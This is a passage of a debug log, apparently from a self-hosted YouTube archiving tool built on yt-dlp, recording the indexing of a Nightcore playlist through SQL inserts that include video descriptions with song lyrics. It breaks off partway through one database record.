https://m.youtube.com/playlist?list=PL_trH6zRu85NAi_KMABvQWpQ0gKmrj7QY --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/40/2e/402ec14fb9d7df9d02bbefacb897e216d2740ba2617ea8fb9f077caf222257ba.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:59.868 [debug] Current batch of media processed. Will check again in 1000ms 22:22:00.251 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:00.869 [debug] Current batch of media processed. Will check again in 1000ms 22:22:01.870 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "duration" => 321, "filename" => "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", "id" => "vmLT3BHtZYU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vmLT3BHtZYU", "playlist_index" => 1, "timestamp" => 1539074280, "title" => "Glass Animals - The Other Side of Paradise (legendado)", "upload_date" => "20181009"} 22:22:01.871 [debug] QUERY OK source="sources" db=0.1ms idle=1193.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:01.871 [debug] QUERY OK source="sources" db=0.1ms idle=1193.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:01.872 [debug] QUERY OK source="media_items" db=0.1ms idle=1092.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-09 08:38:00Z], 1] 22:22:02.130 [debug] QUERY OK source="media_items" db=258.1ms idle=194.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "Glass Animals - The Other Side of Paradise (legendado)", "d1e09aed-4395-4bbc-93d3-253c34f8363f", false, "vmLT3BHtZYU", 321, false, "https://www.youtube.com/watch?v=vmLT3BHtZYU", 1, "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", false, false, 1, [], 1, ~U[2018-10-09 08:38:00Z], ~U[2026-07-24 02:22:01Z], ~U[2026-07-24 02:22:01Z], "• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "Glass Animals - The Other Side of Paradise (legendado)", "vmLT3BHtZYU", 321, false, "https://www.youtube.com/watch?v=vmLT3BHtZYU", "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", false, 1, ~U[2018-10-09 08:38:00Z]] 22:22:02.131 [debug] QUERY OK source="sources" db=0.2ms idle=349.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:02.131 [debug] QUERY OK source="media_profiles" db=0.1ms idle=259.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:02.131 [debug] QUERY OK source="media_items" db=0.1ms idle=259.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 22:22:02.131 [debug] Current batch of media processed. Will check again in 1000ms 22:22:03.133 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "duration" => 210, "filename" => "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", "id" => "lJ_TSjn-khU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lJ_TSjn-khU", "playlist_index" => 2, "timestamp" => 1543147207, "title" => "Neovaii - Chase Pop", "upload_date" => "20181125"} 22:22:03.134 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:03.135 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:03.135 [debug] QUERY OK source="media_items" db=0.1ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-11-25 12:00:07Z], 1] 22:22:03.406 [debug] QUERY OK source="media_items" db=270.7ms idle=1003.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "Neovaii - Chase Pop", "4098ab71-f77c-4388-85cb-4e3256efb239", false, "lJ_TSjn-khU", 210, false, "https://www.youtube.com/watch?v=lJ_TSjn-khU", 2, "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", false, false, 1, [], 1, ~U[2018-11-25 12:00:07Z], ~U[2026-07-24 02:22:03Z], ~U[2026-07-24 02:22:03Z], "⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "Neovaii - Chase Pop", "lJ_TSjn-khU", 210, false, "https://www.youtube.com/watch?v=lJ_TSjn-khU", "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", false, 1, ~U[2018-11-25 12:00:07Z]] 22:22:03.407 [debug] QUERY OK source="sources" db=0.1ms idle=624.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:03.407 [debug] QUERY OK source="media_profiles" db=0.1ms idle=273.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:03.407 [debug] QUERY OK source="media_items" db=0.1ms idle=272.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 22:22:03.407 [debug] Current batch of media processed. Will check again in 1000ms 22:22:04.409 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "duration" => 275, "filename" => "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", "id" => "BN4V98vYu8U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BN4V98vYu8U", "playlist_index" => 3, "timestamp" => 1657234092, "title" => "The Pillows - Thank you, my twilight [FLCL]", "upload_date" => "20220707"} 22:22:04.410 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:04.411 [debug] QUERY OK source="sources" db=0.4ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:04.411 [debug] QUERY OK source="media_items" db=0.3ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-07 22:48:12Z], 1] 22:22:04.659 [debug] QUERY OK source="media_items" db=246.4ms queue=0.1ms idle=1004.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "The Pillows - Thank you, my twilight [FLCL]", "88522063-0207-4fe6-b402-da34bb1b7d5b", false, "BN4V98vYu8U", 275, false, "https://www.youtube.com/watch?v=BN4V98vYu8U", 3, "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", false, false, 1, [], 1, ~U[2022-07-07 22:48:12Z], ~U[2026-07-24 02:22:04Z], ~U[2026-07-24 02:22:04Z], "Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, 